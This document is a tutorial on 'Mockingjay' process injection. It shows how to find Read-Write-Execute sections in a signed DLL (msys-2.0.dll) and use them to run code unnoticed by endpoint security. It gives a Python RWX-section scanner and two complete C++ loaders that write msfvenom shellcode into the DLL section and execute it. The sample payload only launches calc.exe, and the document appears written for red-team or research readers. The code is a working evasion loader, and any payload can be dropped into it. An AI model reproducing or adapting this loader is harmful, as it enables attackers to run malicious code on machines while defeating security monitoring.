Common process injection methods typically involve the following steps:
- Allocating memory in a target process (VirtualAllocEx)
- Writing payload data (WriteProcessMemory)
- Changing page permissions (VirtualProtectEx)
- Starting execution (CreateRemoteThread, APCs, etc.)
These API calls and memory changes are well-known indicators that endpoint security products often monitor.
Mockingjay process injection abuses a legitimate DLL that already contains a memory section with Read-Write-Execute (RWX) permissions. By writing code into an existing executable memory region, the technique can avoid behaviours that security tools typically flag.
Identifying RWX Regions
First, we need to find a suitable executable that has a RWX region. The following Python code can be used to check that.
import pefile
import sys
IMAGE_SCN_MEM_EXECUTE = 0x20000000
IMAGE_SCN_MEM_READ = 0x40000000
IMAGE_SCN_MEM_WRITE = 0x80000000
def find_rwx_sections(pe_path):
pe = pefile.PE(pe_path)
found = False
for section in pe.sections:
chars = section.Characteristics
is_rwx = (
chars & IMAGE_SCN_MEM_EXECUTE and
chars & IMAGE_SCN_MEM_READ and
chars & IMAGE_SCN_MEM_WRITE
)
if is_rwx:
found = True
name = section.Name.decode(errors="ignore").rstrip("\x00")
print(f"[+] RWX Section Found")
print(f" Name: {name}")
print(f" VA: 0x{section.VirtualAddress:08X}")
print(f" Size: 0x{section.Misc_VirtualSize:X}")
print(f" Characteristics: 0x{chars:08X}")
print()
if not found:
print("[-] No RWX sections found.")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <pe_file>")
sys.exit(1)
find_rwx_sections(sys.argv[1])
Running this code against msys-2.0.dll (which is packaged as part of Visual Studio 2022), we can see it has a region called .autoloa at virtual address 0x00202000.
python3 rwx_check.py msys-2.0.dll
[+] RWX Section Found
Name: .autoloa
VA: 0x00202000
Size: 0x38F0
Characteristics: 0xE0000020
Note that the file is digitally signed. This will assist with avoiding detection.
PS C:\Users\user\Desktop> Get-AuthenticodeSignature .\msys-2.0.dll
Directory: C:\Users\user\Desktop
SignerCertificate Status Path
----------------- ------ ----
587116075365AA15BCD8E4FA9CB31BE372B5DE51 Valid msys-2.0.dll
Exploit Code
Since we have identified an RWX region in the DLL, we can use the following code to;
- Load the target DLL using LoadLibraryA
- Use WriteProcessMemory to write our payload
- Call CreateThread to execute the code
This avoids any calls to either change an existing memory regions permissions, or allocating memory with suspicious permissions. Note, the offset to the RWX region is hardcoded.
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
#define VULNERABLE_DLL_RWX_OFFSET 0x202000 // RVA Address of .autoloa
int main() {
HMODULE hTargetDLL = LoadLibraryA("msys-2.0.dll");
if (!hTargetDLL)
{
std::cerr << "Failed to load DLL\n";
return 1;
}
std::cout << "DLL loaded\n";
PVOID pTargetRwxSpace = (PVOID)((ULONG_PTR)hTargetDLL + VULNERABLE_DLL_RWX_OFFSET);
std::cout << "[+] Found target RWX section at destination address: " << pTargetRwxSpace << "\n";
std::cout << "Press Enter to continue...\n";
getchar();
//msfvenom - p windows / x64 / exec CMD = "calc.exe" - f C EXITFUNC = thread
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
size_t shellcodeSize = sizeof(shellcode);
HANDLE hProcess = GetCurrentProcess();
// No calls to VirtualAllocEx or VirtualProtectEx here :)
SIZE_T bytesWritten = 0;
BOOL status = WriteProcessMemory(hProcess, pTargetRwxSpace, shellcode, shellcodeSize, &bytesWritten);
if (status && bytesWritten == shellcodeSize) {
std::cout << "[+] Successfully wrote code into existing trusted RWX section.\n";
HANDLE hThread = CreateThread(
nullptr,
0,
(LPTHREAD_START_ROUTINE)pTargetRwxSpace,
nullptr,
0,
nullptr
);
if (hThread)
{
std::cout << "[+] Thread created.\n";
WaitForSingleObject(hThread, INFINITE);
DWORD exitCode;
GetExitCodeThread(hThread, &exitCode);
std::cout << "[+] Thread exited with code: "
<< exitCode << '\n';
CloseHandle(hThread);
}
else
{
std::cout << "[-] CreateThread failed: "
<< GetLastError() << '\n';
}
}
else {
std::cerr << "[-] WriteProcessMemory failed. Error: " << GetLastError() << "\n";
}
CloseHandle(hProcess);
FreeLibrary(hTargetDLL);
return 0;
}
Dynamic Offset Retrieval
Instead of hardcoding the offset, we can use the Windows Debug Help library (dbghelp) to iterate over the DLL sections in our code. This is implemented in the FindRWXOffset function. This in turn called IsRWXSection to determine if a section is set to RWX.
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <dbghelp.h>
#pragma comment(lib, "Dbghelp.lib")
bool IsRWXSection(const IMAGE_SECTION_HEADER& section)
{
DWORD flags = section.Characteristics;
return (flags & IMAGE_SCN_MEM_READ) &&
(flags & IMAGE_SCN_MEM_WRITE) &&
(flags & IMAGE_SCN_MEM_EXECUTE);
}
DWORD_PTR FindRWXOffset(HMODULE module)
{
auto* ntHeaders = ImageNtHeader(module);
if (!ntHeaders)
return 0;
auto* sections = IMAGE_FIRST_SECTION(ntHeaders);
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i)
{
if (!IsRWXSection(sections[i]))
continue;
return sections[i].VirtualAddress;
}
return 0;
}
int main() {
HMODULE hTargetDLL = LoadLibraryA("msys-2.0.dll");
if (!hTargetDLL)
{
std::cerr << "Failed to load DLL\n";
return 1;
}
std::cout << "DLL loaded\n";
PVOID pTargetRwxSpace = (PVOID)((ULONG_PTR)hTargetDLL + (ULONG_PTR)FindRWXOffset(hTargetDLL));
std::cout << "[+] Found target RWX section at destination address: " << pTargetRwxSpace << "\n";
std::cout << "Press Enter to continue...\n";
getchar();
//msfvenom - p windows / x64 / exec CMD = "calc.exe" - f C EXITFUNC = thread
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
size_t shellcodeSize = sizeof(shellcode);
HANDLE hProcess = GetCurrentProcess();
// No calls to VirtualAllocEx or VirtualProtectEx here :)
SIZE_T bytesWritten = 0;
BOOL status = WriteProcessMemory(hProcess, pTargetRwxSpace, shellcode, shellcodeSize, &bytesWritten);
if (status && bytesWritten == shellcodeSize) {
std::cout << "[+] Successfully wrote code into existing trusted RWX section.\n";
HANDLE hThread = CreateThread(
nullptr,
0,
(LPTHREAD_START_ROUTINE)pTargetRwxSpace,
nullptr,
0,
nullptr
);
if (hThread)
{
std::cout << "[+] Thread created.\n";
WaitForSingleObject(hThread, INFINITE);
DWORD exitCode;
GetExitCodeThread(hThread, &exitCode);
std::cout << "[+] Thread exited with code: "
<< exitCode << '\n';
CloseHandle(hThread);
}
else
{
std::cout << "[-] CreateThread failed: "
<< GetLastError() << '\n';
}
}
else {
std::cerr << "[-] WriteProcessMemory failed. Error: " << GetLastError() << "\n";
}
CloseHandle(hProcess);
FreeLibrary(hTargetDLL);
return 0;
}
In Conclusion
The main benefit of this technique is avoiding suspicious memory permission alterations. However, compilers do not create RWX regions by default, so it’s rare to come across executables that meet this criteria.